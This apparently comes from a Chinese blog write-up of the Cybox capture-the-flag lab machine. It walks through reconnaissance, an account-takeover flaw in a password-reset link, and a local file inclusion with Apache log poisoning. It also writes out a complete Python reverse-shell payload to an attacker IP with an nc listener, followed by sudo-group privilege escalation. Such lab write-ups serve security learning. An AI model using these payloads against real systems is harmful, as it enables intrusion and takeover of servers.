• Cybox靶机


    0x01 信息收集

    nmap -sV 10.121.65.69

    21 ftp

    80 http

    443 ssl/http

    弱口令爆破

    对ftp尝试弱口令爆破

    目录扫描

    python dirsearch.py -u http://10.121.65.69

    发现一个目录遍历,浏览后并没有什么有用的信息

    浏览目标网站后,看到了一个域名cybox.company,我们将其添加进hosts文件,尝试再次扫描一下

    gobuster vhost -u http://cybox.company/ -w /usr/share/wordlists/dirb/big.txt

    0x02 越权+文件包含+日志写入shell

    扫描发现了五个子域名网站

    dev.cybox.company是一个PHPinfo

    ftp.cybox.company是一个ftp页面,目测实现文件传输功能,需要验证用户名密码

    webmail.cybox.company是一个邮箱登录页面

    register.cybox.company是一个创建用户页面,尝试创建后直接显示创建成功,也并没有提示输入密码等信息,直接给了一个与用户名相同的密码,暂时不知道是创建了什么用户

    monitor.cybox.company访问后跳转到一个登录页面,下面两个链接可以跳转到一个注册页面,以及一个密码找回

    register.cybox.company先创建一个qqqqqq:qqqqqq账户

    monitor.cybox.company 注册一个邮箱

    http://webmail.cybox.company/ 发现可以用register.cybox.company创建的账户登录。

    在monitor.cybox.company 的忘记密码这里发送连接,看看邮箱是否能收到。

    发现收到了连接,且重置密码的链接存在越权修改密码的漏洞(因为直接将重置的账户写到url上了)

    抓包修改成admin@cybox.company ,然后修改密码成123456.发现修改成功,正常登陆admin账户。

    点开管理页面

    F12查看页面内容

    发现"styles.php?style=general" 尝试拼接试试

    可能存在文件包含漏洞,尝试访问下/etc/passwd(这里通过一个一个试路径试出来,%00代表截断。

    http://monitor.cybox.company/admin/styles.php?style=../../../../../../etc/passwd%00

    有文件包含,那么我们可以尝试在日志文件里写shell(前提是知道日志文件的绝对路径,这里从另一个phpinfo的页面获取到绝对路径)。

    apache的日志目录为/opt/bitnami/apache2/logs/

    请求日志文件为access_log,

    错误日志文件为error_log

    访问请求日志文件,发现会记录http://ftp.cybox.company的请求日志,包括UA头

    那么我们将shell写到UA头就行

    http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&s=id

    发现执行成功。那么我们可以构造反弹shell

    http://monitor.cybox.company/admin/styles.php?style=../../../../../../opt/bitnami/apache2/logs/access_log%00&s=python -c"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.121.65.70',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
    攻击机监听443端口: nc -lvvp 443

    成功获得shell

    0x03 权限提升

    find / -perm -u=s -type f 2>/dev/null 查找有权限的文件

    在我们查看此文件内容时可以发现它调用了另一个/opt目录下的文件register,注意此处直接用cat查看文件会乱码,需要用strings转化字符串

    strings registerlauncher

    在查看register文件内容,发现这是一个可以创建用户的文件

    打开发现是一个创建用户的文件使用脚本使其与register页面实现交互

    python -c "import pty;pty.spawn('/bin/bash');"

    可以看到,这里是创建了一个用户 用户是由$USERNAME觉得的,用户组和用户则是一样的,那么我们可以创建一个sudo用户(在linux有个特殊的用户组,是sudo组,当我们有sudo权限或者在sudo组里,我们可以用sudo 来执行一些命令)

     


    然后回到creat user页面创建一个sudo用户
    直接登录就能提权到root

    总结: 1.通过文件包含漏洞,去查找日志路径,然后写入shell

    2. 通过将域名加入hosts,可以访问不一样的网站页面

  • 相关阅读:
    Spring Bean 生命周期 (核心)(荣耀典藏版)
    【html】如何利用HTML+CSS制作自己的印章
    rabbitmq 日志清理 rabbitmq.conf rabbitmq 日志问题
    EFDC模型教程
    腾讯安全SOC+能力图谱正式发布,助力政企构建闭环安全运营体系
    全流程:安装uni-app(小程序端)
    多线程中ThreadPoolExecutor.map()中传递多个参数
    数据结构与算法——线性表的顺序存储
    【学习日记2023.5.23】 之 Redis入门未入坑
    Windows11 python3.12 安装pyqt6 pyqt6-tools
  • 原文地址:https://blog.csdn.net/hesysd/article/details/128079052